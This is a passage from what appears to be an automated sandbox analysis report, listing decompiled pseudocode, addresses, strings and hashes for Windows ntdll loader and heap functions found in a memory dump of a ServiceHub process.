                                          0x01208264
                                          0x0120826c
                                          0x01208280
                                          0x01208282
                                          0x01208282
                                          0x01208289
                                          0x01208290
                                          0x01208293
                                          0x01208294
                                          0x01208298
                                          0x0120829b
                                          0x0120829b
                                          0x011b3e35
                                          0x011b3e38
                                          0x011b3e3d
                                          0x011b3e44
                                          0x011b3e58
                                          0x012082a3
                                          0x012082a3
                                          0x011b3e58
                                          0x011b3e60
                                          0x011b3e6f
                                          0x011b3e74
                                          0x011b3e77
                                          0x011b3e77
                                          0x011b3e7a
                                          0x011b3e7f
                                          0x011b3e8c
                                          0x011b3e8c
                                          0x011b3e91
                                          0x00000000
                                          0x011b3e91

                                          Strings
                                          • Kernel-MUI-Language-Allowed, xrefs: 011B3DC0
                                          • WindowsExcludedProcs, xrefs: 011B3D6F
                                          • Kernel-MUI-Number-Allowed, xrefs: 011B3D8C
                                          • Kernel-MUI-Language-SKU, xrefs: 011B3F70
                                          • Kernel-MUI-Language-Disallowed, xrefs: 011B3E97
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
                                          • API String ID: 0-258546922
                                          • Opcode ID: 277e2b207c60ed2ca1aa40b7af2c6122a13ef0524f60e143045fdab83ccfc902
                                          • Instruction ID: 73b38bebe7d6371bd5049c762b1281eba8adadef9083cd7a1d656aa55bed6704
                                          • Opcode Fuzzy Hash: 277e2b207c60ed2ca1aa40b7af2c6122a13ef0524f60e143045fdab83ccfc902
                                          • Instruction Fuzzy Hash: F4F18F72D1061AEFCB1ADF98C980AEFBBB8FF18650F15415AE505E7651E7349E00CB90
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011A40E1 Relevance: 6.3, Strings: 5, Instructions: 51COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 29%
                                          			E011A40E1(void* __edx) {
				void* _t19;
				void* _t29;

				_t28 = _t19;
				_t29 = __edx;
				if( *((intOrPtr*)(_t19 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E011AB150();
					} else {
						E011AB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E011AB150("Invalid heap signature for heap at %p", _t28);
					if(_t29 != 0) {
						E011AB150(", passed to %s", _t29);
					}
					_push("\n");
					E011AB150();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x1296378 = 1;
						asm("int3");
						 *0x1296378 = 0;
					}
					return 0;
				}
				return 1;
			}





                                          0x011a40e6
                                          0x011a40e8
                                          0x011a40f1
                                          0x0120042d
                                          0x0120044c
                                          0x01200451
                                          0x0120042f
                                          0x01200444
                                          0x01200449
                                          0x0120045d
                                          0x01200466
                                          0x0120046e
                                          0x01200474
                                          0x01200475
                                          0x0120047a
                                          0x0120048a
                                          0x0120048c
                                          0x01200493
                                          0x01200494
                                          0x01200494
                                          0x00000000
                                          0x0120049b
                                          0x00000000

                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlAllocateHeap
                                          • API String ID: 0-188067316
                                          • Opcode ID: deb6a5d97fd9ffff71d270d67fa63c98828e0935f3a7a99876afa6c9dc55c393
                                          • Instruction ID: c182ace5d4636f7352866832cb9fb7c23db613f5500cd41047e49e9f5e07efbe
                                          • Opcode Fuzzy Hash: deb6a5d97fd9ffff71d270d67fa63c98828e0935f3a7a99876afa6c9dc55c393
                                          • Instruction Fuzzy Hash: 4A0128362242819EE32EA779B44DF527BA4DB00F74F1E812DF10947682CBA4A440C61D
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011D8E00 Relevance: 5.1, Strings: 4, Instructions: 126COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 44%
                                          			E011D8E00(void* __ecx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t43;
				void* _t46;
				intOrPtr _t47;
				void* _t48;
				signed int _t49;
				void* _t50;
				intOrPtr* _t51;
				signed int _t52;
				void* _t53;
				intOrPtr _t55;

				_v8 =  *0x129d360 ^ _t52;
				_t49 = 0;
				_t48 = __ecx;
				_t55 =  *0x1298464; // 0x76690110
				if(_t55 == 0) {
					L9:
					if( !_t49 >= 0) {
						if(( *0x1295780 & 0x00000003) != 0) {
							E01225510("minkernel\\ntdll\\ldrsnap.c", 0x2b5, "LdrpFindDllActivationContext", 0, "Querying the active activation context failed with status 0x%08lx\n", _t49);
						}
						if(( *0x1295780 & 0x00000010) != 0) {
							asm("int3");
						}
					}
					return E011EB640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
				}
				_t47 =  *((intOrPtr*)(__ecx + 0x18));
				_t43 =  *0x1297984; // 0xd42d40
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
					_t32 =  *((intOrPtr*)(_t48 + 0x28));
					if(_t48 == _t43) {
						_t50 = 0x5c;
						if( *_t32 == _t50) {
							_t46 = 0x3f;
							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
								_t32 = _t32 + 8;
							}
						}
					}
					_t51 =  *0x1298464; // 0x76690110
					 *0x129b1e0(_t47, _t32,  &_v12);
					_t49 =  *_t51();
					if(_t49 >= 0) {
						L8:
						_t35 = _v12;
						if(_t35 != 0) {
							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
								E011D9B10( *((intOrPtr*)(_t48 + 0x48)));
								_t35 = _v12;
							}
							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
						}
						goto L9;
					}
					if(_t49 != 0xc000008a) {
						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
							if(_t49 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0x1295780 & 0x00000005) != 0) {
						_push(_t49);
						E01225510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
						_t53 = _t53 + 0x1c;
					}
					_t49 = 0;
					goto L8;
				} else {
					goto L9;
				}
			}




















                                          0x011d8e0f
                                          0x011d8e16
                                          0x011d8e19
                                          0x011d8e1b
                                          0x011d8e21
                                          0x011d8e7f
                                          0x011d8e85
                                          0x01219354
                                          0x0121936c
                                          0x01219371
                                          0x0121937b
                                          0x01219381
                                          0x01219381
                                          0x0121937b
                                          0x011d8e9d
                                          0x011d8e9d
                                          0x011d8e29
                                          0x011d8e2c
                                          0x011d8e38
                                          0x011d8e3e
                                          0x011d8e43
                                          0x011d8eb5
                                          0x011d8eb9
                                          0x012192aa
                                          0x012192af
                                          0x012192e8
                                          0x012192e8
                                          0x012192af
                                          0x011d8eb9
                                          0x011d8e45
                                          0x011d8e53
                                          0x011d8e5b
                                          0x011d8e5f
                                          0x011d8e78
                                          0x011d8e78
                                          0x011d8e7d
                                          0x011d8ec3
                                          0x011d8ecd
                                          0x011d8ed2
                                          0x011d8ed2
                                          0x011d8ec5
                                          0x011d8ec5
                                          0x00000000
                                          0x011d8e7d
                                          0x011d8e67
                                          0x011d8ea4
                                          0x0121931a
                                          0x00000000
                                          0x00000000
                                          0x01219320
                                          0x011d8ea4
                                          0x011d8e70
                                          0x01219325
                                          0x01219340
                                          0x01219345
                                          0x01219345
                                          0x011d8e76
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000

                                          Strings
                                          • Querying the active activation context failed with status 0x%08lx, xrefs: 01219357
                                          • minkernel\ntdll\ldrsnap.c, xrefs: 0121933B, 01219367
                                          • Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 0121932A
                                          • LdrpFindDllActivationContext, xrefs: 01219331, 0121935D
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
                                          • API String ID: 0-3779518884
                                          • Opcode ID: f41493deecd90afb355f2ba2404146030014c0857bff41bb5579c3d1ffc9c3b1
                                          • Instruction ID: 7107950693e5ac4649dd5ff09e1fae1aaf19b15549ab6c31b68f6e6980d3ee12
                                          • Opcode Fuzzy Hash: f41493deecd90afb355f2ba2404146030014c0857bff41bb5579c3d1ffc9c3b1
                                          • Instruction Fuzzy Hash: 48410732A003359EEF3EBB1C988DB79B7B5BB01648F0A856AE90457151E7709D80CFC1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011B8794 Relevance: 4.0, Strings: 3, Instructions: 255COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 83%
                                          			E011B8794(void* __ecx) {
				signed int _v0;
				char _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t77;
				signed int _t80;
				signed char _t81;
				signed int _t87;
				signed int _t91;
				void* _t92;
				void* _t94;
				signed int _t95;
				signed int _t103;
				signed int _t105;
				signed int _t110;
				signed int _t118;
				intOrPtr* _t121;
				intOrPtr _t122;
				signed int _t125;
				signed int _t129;
				signed int _t131;
				signed int _t134;
				signed int _t136;
				signed int _t143;
				signed int* _t147;
				signed int _t151;
				void* _t153;
				signed int* _t157;
				signed int _t159;
				signed int _t161;
				signed int _t166;
				signed int _t168;

				_push(__ecx);
				_t153 = __ecx;
				_t159 = 0;
				_t121 = __ecx + 0x3c;
				if( *_t121 == 0) {
					L2:
					_t77 =  *((intOrPtr*)(_t153 + 0x58));
					if(_t77 == 0 ||  *_t77 ==  *((intOrPtr*)(_t153 + 0x54))) {
						_t122 =  *((intOrPtr*)(_t153 + 0x20));
						_t180 =  *((intOrPtr*)(_t122 + 0x3a));
						if( *((intOrPtr*)(_t122 + 0x3a)) != 0) {
							L6:
							if(E011B934A() != 0) {
								_t159 = E0122A9D2( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)), 0, 0);
								__eflags = _t159;
								if(_t159 < 0) {
									_t81 =  *0x1295780; // 0x0
									__eflags = _t81 & 0x00000003;
									if((_t81 & 0x00000003) != 0) {
										_push(_t159);
										E01225510("minkernel\\ntdll\\ldrsnap.c", 0x235, "LdrpDoPostSnapWork", 0, "LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x\n",  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)));
										_t81 =  *0x1295780; // 0x0
									}
									__eflags = _t81 & 0x00000010;
									if((_t81 & 0x00000010) != 0) {
										asm("int3");
									}
								}
							}
						} else {
							_t159 = E011B849B(0, _t122, _t153, _t159, _t180);
							if(_t159 >= 0) {
								goto L6;
							}
						}
						_t80 = _t159;
						goto L8;
					} else {
						_t125 = 0x13;
						asm("int 0x29");
						_push(0);
						_push(_t159);
						_t161 = _t125;
						_t87 =  *( *[fs:0x30] + 0x1e8);
						_t143 = 0;
						_v40 = _t161;
						_t118 = 0;
						_push(_t153);
						__eflags = _t87;
						if(_t87 != 0) {
							_t118 = _t87 + 0x5d8;
							__eflags = _t118;
							if(_t118 == 0) {
								L46:
								_t118 = 0;
							} else {
								__eflags =  *(_t118 + 0x30);
								if( *(_t118 + 0x30) == 0) {
									goto L46;
								}
							}
						}
						_v32 = 0;
						_v28 = 0;
						_v16 = 0;
						_v20 = 0;
						_v12 = 0;
						__eflags = _t118;
						if(_t118 != 0) {
							__eflags = _t161;
							if(_t161 != 0) {
								__eflags =  *(_t118 + 8);
								if( *(_t118 + 8) == 0) {
									L22:
									_t143 = 1;
									__eflags = 1;
								} else {
									_t19 = _t118 + 0x40; // 0x40
									_t156 = _t19;
									E011B8999(_t19,  &_v16);
									__eflags = _v0;
									if(_v0 != 0) {
										__eflags = _v0 - 1;
										if(_v0 != 1) {
											goto L22;
										} else {
											_t128 =  *(_t161 + 0x64);
											__eflags =  *(_t161 + 0x64);
											if( *(_t161 + 0x64) == 0) {
												goto L22;
											} else {
												E011B8999(_t128,  &_v12);
												_t147 = _v12;
												_t91 = 0;
												__eflags = 0;
												_t129 =  *_t147;
												while(1) {
													__eflags =  *((intOrPtr*)(0x1295c60 + _t91 * 8)) - _t129;
													if( *((intOrPtr*)(0x1295c60 + _t91 * 8)) == _t129) {
														break;
													}
													_t91 = _t91 + 1;
													__eflags = _t91 - 5;
													if(_t91 < 5) {
														continue;
													} else {
														_t131 = 0;
														__eflags = 0;
													}
													L37:
													__eflags = _t131;
													if(_t131 != 0) {
														goto L22;
													} else {
														__eflags = _v16 - _t147;
														if(_v16 != _t147) {
															goto L22;
														} else {
															E011C2280(_t92, 0x12986cc);
															_t94 = E01279DFB( &_v20);
															__eflags = _t94 - 1;
															if(_t94 != 1) {
															}
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															_t95 = E011D61A0( &_v32);
															__eflags = _t95;
															if(_t95 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t71 = _t118 + 0x40; // 0x3f
																	_t134 = _t71;
																	goto L55;
																}
															}
															goto L30;
														}
													}
													goto L56;
												}
												_t92 = 0x1295c64 + _t91 * 8;
												asm("lock xadd [eax], ecx");
												_t131 = (_t129 | 0xffffffff) - 1;
												goto L37;
											}
										}
										goto L56;
									} else {
										_t143 = E011B8A0A( *((intOrPtr*)(_t161 + 0x18)),  &_v12);
										__eflags = _t143;
										if(_t143 != 0) {
											_t157 = _v12;
											_t103 = 0;
											__eflags = 0;
											_t136 =  &(_t157[1]);
											 *(_t161 + 0x64) = _t136;
											_t151 =  *_t157;
											_v20 = _t136;
											while(1) {
												__eflags =  *((intOrPtr*)(0x1295c60 + _t103 * 8)) - _t151;
												if( *((intOrPtr*)(0x1295c60 + _t103 * 8)) == _t151) {
													break;
												}
												_t103 = _t103 + 1;
												__eflags = _t103 - 5;
												if(_t103 < 5) {
													continue;
												}
												L21:
												_t105 = E011EF380(_t136, 0x1181184, 0x10);
												__eflags = _t105;
												if(_t105 != 0) {
													__eflags =  *_t157 -  *_v16;
													if( *_t157 >=  *_v16) {
														goto L22;
													} else {
														asm("cdq");
														_t166 = _t157[5] & 0x0000ffff;
														_t108 = _t157[5] & 0x0000ffff;
														asm("cdq");
														_t168 = _t166 << 0x00000010 | _t157[5] & 0x0000ffff;
														__eflags = ((_t151 << 0x00000020 | _t166) << 0x10 | _t151) -  *((intOrPtr*)(_t118 + 0x2c));
														if(__eflags > 0) {
															L29:
															E011C2280(_t108, 0x12986cc);
															 *_t118 =  *_t118 + 1;
															_t42 = _t118 + 0x40; // 0x3f
															_t156 = _t42;
															asm("adc dword [ebx+0x4], 0x0");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															_t110 = E011D61A0( &_v32);
															__eflags = _t110;
															if(_t110 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t134 = _v20;
																	L55:
																	E01279D2E(_t134, 1, _v32, _v28,  *(_v24 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_v24 + 0x28)));
																}
															}
															L30:
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															E011BFFB0(_t118, _t156, 0x12986cc);
															goto L22;
														} else {
															if(__eflags < 0) {
																goto L22;
															} else {
																__eflags = _t168 -  *((intOrPtr*)(_t118 + 0x28));
																if(_t168 <  *((intOrPtr*)(_t118 + 0x28))) {
																	goto L22;
																} else {
																	goto L29;
																}
															}
														}
													}
													goto L56;
												}
												goto L22;
											}
											asm("lock inc dword [eax]");
											goto L21;
										}
									}
								}
							}
						}
						return _t143;
					}
				} else {
					_push( &_v8);
					_push( *((intOrPtr*)(__ecx + 0x50)));
					_push(__ecx + 0x40);
					_push(_t121);
					_push(0xffffffff);
					_t80 = E011E9A00();
					_t159 = _t80;
					if(_t159 < 0) {
						L8:
						return _t80;
					} else {
						goto L2;
					}
				}
				L56:
			}












































                                          0x011b8799
                                          0x011b879d
                                          0x011b87a1
                                          0x011b87a3
                                          0x011b87a8
                                          0x011b87c3
                                          0x011b87c3
                                          0x011b87c8
                                          0x011b87d1
                                          0x011b87d4
                                          0x011b87d8
                                          0x011b87e5
                                          0x011b87ec
                                          0x01209bfe
                                          0x01209c00
                                          0x01209c02
                                          0x01209c08
                                          0x01209c0d
                                          0x01209c0f
                                          0x01209c14
                                          0x01209c2d
                                          0x01209c32
                                          0x01209c37
                                          0x01209c3a
                                          0x01209c3c
                                          0x01209c42
                                          0x01209c42
                                          0x01209c3c
                                          0x01209c02
                                          0x011b87da
                                          0x011b87df
                                          0x011b87e3
                                          0x00000000
                                          0x00000000
                                          0x011b87e3
                                          0x011b87f2
                                          0x00000000
                                          0x011b87fb
                                          0x011b87fd
                                          0x011b87fe
                                          0x011b880e
                                          0x011b880f
                                          0x011b8810
                                          0x011b8814
                                          0x011b881a
                                          0x011b881c
                                          0x011b881f
                                          0x011b8821
                                          0x011b8822
                                          0x011b8824
                                          0x011b8826
                                          0x011b882c
                                          0x011b882e
                                          0x01209c48
                                          0x01209c48
                                          0x011b8834
                                          0x011b8834
                                          0x011b8837
                                          0x00000000
                                          0x00000000
                                          0x011b8837
                                          0x011b882e
                                          0x011b883d
                                          0x011b8840
                                          0x011b8843
                                          0x011b8846
                                          0x011b8849
                                          0x011b884c
                                          0x011b884e
                                          0x011b8850
                                          0x011b8852
                                          0x011b8854
                                          0x011b8857
                                          0x011b88b4
                                          0x011b88b6
                                          0x011b88b6
                                          0x011b8859
                                          0x011b8859
                                          0x011b8859
                                          0x011b8861
                                          0x011b8866
                                          0x011b886a
                                          0x011b893d
                                          0x011b8941
                                          0x00000000
                                          0x011b8947
                                          0x011b8947
                                          0x011b894a
                                          0x011b894c
                                          0x00000000
                                          0x011b8952
                                          0x011b8955
                                          0x011b895a
                                          0x011b895d
                                          0x011b895d
                                          0x011b895f
                                          0x011b8961
                                          0x011b8961
                                          0x011b8968
                                          0x00000000
                                          0x00000000
                                          0x011b896a
                                          0x011b896b
                                          0x011b896e
                                          0x00000000
                                          0x011b8970
                                          0x011b8970
                                          0x011b8970
                                          0x011b8970
                                          0x011b8972
                                          0x011b8972
                                          0x011b8974
                                          0x00000000
                                          0x011b897a
                                          0x011b897a
                                          0x011b897d
                                          0x00000000
                                          0x011b8983
                                          0x01209c65
                                          0x01209c6d
                                          0x01209c72
                                          0x01209c75
                                          0x01209c75
                                          0x01209c82
                                          0x01209c86
                                          0x01209c87
                                          0x01209c88
                                          0x01209c89
                                          0x01209c8c
                                          0x01209c90
                                          0x01209c95
                                          0x01209c97
                                          0x01209ca0
                                          0x01209ca3
                                          0x01209ca9
                                          0x01209ca9
                                          0x00000000
                                          0x01209ca9
                                          0x01209ca3
                                          0x00000000
                                          0x01209c97
                                          0x011b897d
                                          0x00000000
                                          0x011b8974
                                          0x011b8988
                                          0x011b8992
                                          0x011b8996
                                          0x00000000
                                          0x011b8996
                                          0x011b894c
                                          0x00000000
                                          0x011b8870
                                          0x011b887b
                                          0x011b887d
                                          0x011b887f
                                          0x011b8881
                                          0x011b8884
                                          0x011b8884
                                          0x011b8886
                                          0x011b8889
                                          0x011b888c
                                          0x011b888e
                                          0x011b8891
                                          0x011b8891
                                          0x011b8898
                                          0x00000000
                                          0x00000000
                                          0x011b889a
                                          0x011b889b
                                          0x011b889e
                                          0x00000000
                                          0x00000000
                                          0x011b88a0
                                          0x011b88a8
                                          0x011b88b0
                                          0x011b88b2
                                          0x011b88d3
                                          0x011b88d5
                                          0x00000000
                                          0x011b88d7
                                          0x011b88db
                                          0x011b88dc
                                          0x011b88e0
                                          0x011b88e8
                                          0x011b88ee
                                          0x011b88f0
                                          0x011b88f3
                                          0x011b88fc
                                          0x011b8901
                                          0x011b8906
                                          0x011b890c
                                          0x011b890c
                                          0x011b890f
                                          0x011b8916
                                          0x011b8917
                                          0x011b8918
                                          0x011b8919
                                          0x011b891a
                                          0x011b891f
                                          0x011b8921
                                          0x01209c52
                                          0x01209c55
                                          0x01209c5b
                                          0x01209cac
                                          0x01209cc0
                                          0x01209cc0
                                          0x01209c55
                                          0x011b8927
                                          0x011b8927
                                          0x011b892f
                                          0x011b8933
                                          0x00000000
                                          0x011b88f5
                                          0x011b88f5
                                          0x00000000
                                          0x011b88f7
                                          0x011b88f7
                                          0x011b88fa
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011b88fa
                                          0x011b88f5
                                          0x011b88f3
                                          0x00000000
                                          0x011b88d5
                                          0x00000000
                                          0x011b88b2
                                          0x011b88c9
                                          0x00000000
                                          0x011b88c9
                                          0x011b887f
                                          0x011b886a
                                          0x011b8857
                                          0x011b8852
                                          0x011b88bf
                                          0x011b88bf
                                          0x011b87aa
                                          0x011b87ad
                                          0x011b87ae
                                          0x011b87b4
                                          0x011b87b5
                                          0x011b87b6
                                          0x011b87b8
                                          0x011b87bd
                                          0x011b87c1
                                          0x011b87f4
                                          0x011b87fa
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011b87c1
                                          0x00000000

                                          Strings
                                          • LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x, xrefs: 01209C18
                                          • minkernel\ntdll\ldrsnap.c, xrefs: 01209C28
                                          • LdrpDoPostSnapWork, xrefs: 01209C1E
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: LdrpDoPostSnapWork$LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x$minkernel\ntdll\ldrsnap.c
                                          • API String ID: 0-1948996284
                                          • Opcode ID: cbfe2daa46e6c5627c37dc6c93d40e9eea429e36f0e5a9ac29c1d6eb88b6b821
                                          • Instruction ID: 4a7f6b7ec039a8c35adcc6899787c3fbb25f396fd4b247d4058ddfab9411ab63
                                          • Opcode Fuzzy Hash: cbfe2daa46e6c5627c37dc6c93d40e9eea429e36f0e5a9ac29c1d6eb88b6b821
                                          • Instruction Fuzzy Hash: 6991F131A1060AEFDF1DDF59D4C0AFAB7B9FF84B18B054169EA05AB241E730A941CB90
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011B7E41 Relevance: 3.9, Strings: 3, Instructions: 174COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 98%
                                          			E011B7E41(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				signed int _t73;
				void* _t77;
				char* _t82;
				char* _t87;
				signed char* _t97;
				signed char _t102;
				intOrPtr _t107;
				signed char* _t108;
				intOrPtr _t112;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t126;

				_t107 = __edx;
				_v12 = __ecx;
				_t125 =  *((intOrPtr*)(__ecx + 0x20));
				_t124 = 0;
				_v20 = __edx;
				if(E011BCEE4( *((intOrPtr*)(_t125 + 0x18)), 1, 0xe,  &_v24,  &_v8) >= 0) {
					_t112 = _v8;
				} else {
					_t112 = 0;
					_v8 = 0;
				}
				if(_t112 != 0) {
					if(( *(_v12 + 0x10) & 0x00800000) != 0) {
						_t124 = 0xc000007b;
						goto L8;
					}
					_t73 =  *(_t125 + 0x34) | 0x00400000;
					 *(_t125 + 0x34) = _t73;
					if(( *(_t112 + 0x10) & 0x00000001) == 0) {
						goto L3;
					}
					 *(_t125 + 0x34) = _t73 | 0x01000000;
					_t124 = E011AC9A4( *((intOrPtr*)(_t125 + 0x18)));
					if(_t124 < 0) {
						goto L8;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(( *(_t107 + 0x16) & 0x00002000) == 0) {
						 *(_t125 + 0x34) =  *(_t125 + 0x34) & 0xfffffffb;
						L8:
						return _t124;
					}
					if(( *( *((intOrPtr*)(_t125 + 0x5c)) + 0x10) & 0x00000080) != 0) {
						if(( *(_t107 + 0x5e) & 0x00000080) != 0) {
							goto L5;
						}
						_t102 =  *0x1295780; // 0x0
						if((_t102 & 0x00000003) != 0) {
							E01225510("minkernel\\ntdll\\ldrmap.c", 0x363, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t125 + 0x24);
							_t102 =  *0x1295780; // 0x0
						}
						if((_t102 & 0x00000010) != 0) {
							asm("int3");
						}
						_t124 = 0xc0000428;
						goto L8;
					}
					L5:
					if(( *(_t125 + 0x34) & 0x01000000) != 0) {
						goto L8;
					}
					_t77 = _a4 - 0x40000003;
					if(_t77 == 0 || _t77 == 0x33) {
						_v16 =  *((intOrPtr*)(_t125 + 0x18));
						if(E011C7D50() != 0) {
							_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						} else {
							_t82 = 0x7ffe0384;
						}
						_t108 = 0x7ffe0385;
						if( *_t82 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E011C7D50() == 0) {
									_t97 = 0x7ffe0385;
								} else {
									_t97 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t97 & 0x00000020) != 0) {
									E01227016(0x1490, _v16, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
						}
						if(_a4 != 0x40000003) {
							L14:
							_t126 =  *((intOrPtr*)(_t125 + 0x18));
							if(E011C7D50() != 0) {
								_t87 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							} else {
								_t87 = 0x7ffe0384;
							}
							if( *_t87 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E011C7D50() != 0) {
									_t108 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t108 & 0x00000020) != 0) {
									E01227016(0x1491, _t126, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
							goto L8;
						} else {
							_v16 = _t125 + 0x24;
							_t124 = E011DA1C3( *((intOrPtr*)(_t125 + 0x18)),  *((intOrPtr*)(_v12 + 0x5c)), _v20, _t125 + 0x24);
							if(_t124 < 0) {
								E011AB1E1(_t124, 0x1490, 0, _v16);
								goto L8;
							}
							goto L14;
						}
					} else {
						goto L8;
					}
				}
			}




















                                          0x011b7e4c
                                          0x011b7e50
                                          0x011b7e55
                                          0x011b7e58
                                          0x011b7e5d
                                          0x011b7e71
                                          0x011b7f33
                                          0x011b7e77
                                          0x011b7e77
                                          0x011b7e79
                                          0x011b7e79
                                          0x011b7e7e
                                          0x011b7f45
                                          0x01209848
                                          0x00000000
                                          0x01209848
                                          0x011b7f4e
                                          0x011b7f53
                                          0x011b7f5a
                                          0x00000000
                                          0x00000000
                                          0x0120985a
                                          0x01209862
                                          0x01209866
                                          0x00000000
                                          0x0120986c
                                          0x00000000
                                          0x0120986c
                                          0x011b7e84
                                          0x011b7e84
                                          0x011b7e8d
                                          0x01209871
                                          0x011b7eb8
                                          0x011b7ec0
                                          0x011b7ec0
                                          0x011b7e9a
                                          0x0120987e
                                          0x00000000
                                          0x00000000
                                          0x01209884
                                          0x0120988b
                                          0x012098a7
                                          0x012098ac
                                          0x012098b1
                                          0x012098b6
                                          0x012098b8
                                          0x012098b8
                                          0x012098b9
                                          0x00000000
                                          0x012098b9
                                          0x011b7ea0
                                          0x011b7ea7
                                          0x00000000
                                          0x00000000
                                          0x011b7eac
                                          0x011b7eb1
                                          0x011b7ec6
                                          0x011b7ed0
                                          0x012098cc
                                          0x011b7ed6
                                          0x011b7ed6
                                          0x011b7ed6
                                          0x011b7ede
                                          0x011b7ee3
                                          0x012098e3
                                          0x012098f0
                                          0x01209902
                                          0x012098f2
                                          0x012098fb
                                          0x012098fb
                                          0x01209907
                                          0x0120991d
                                          0x0120991d
                                          0x01209907
                                          0x012098e3
                                          0x011b7ef0
                                          0x011b7f14
                                          0x011b7f14
                                          0x011b7f1e
                                          0x01209946
                                          0x011b7f24
                                          0x011b7f24
                                          0x011b7f24
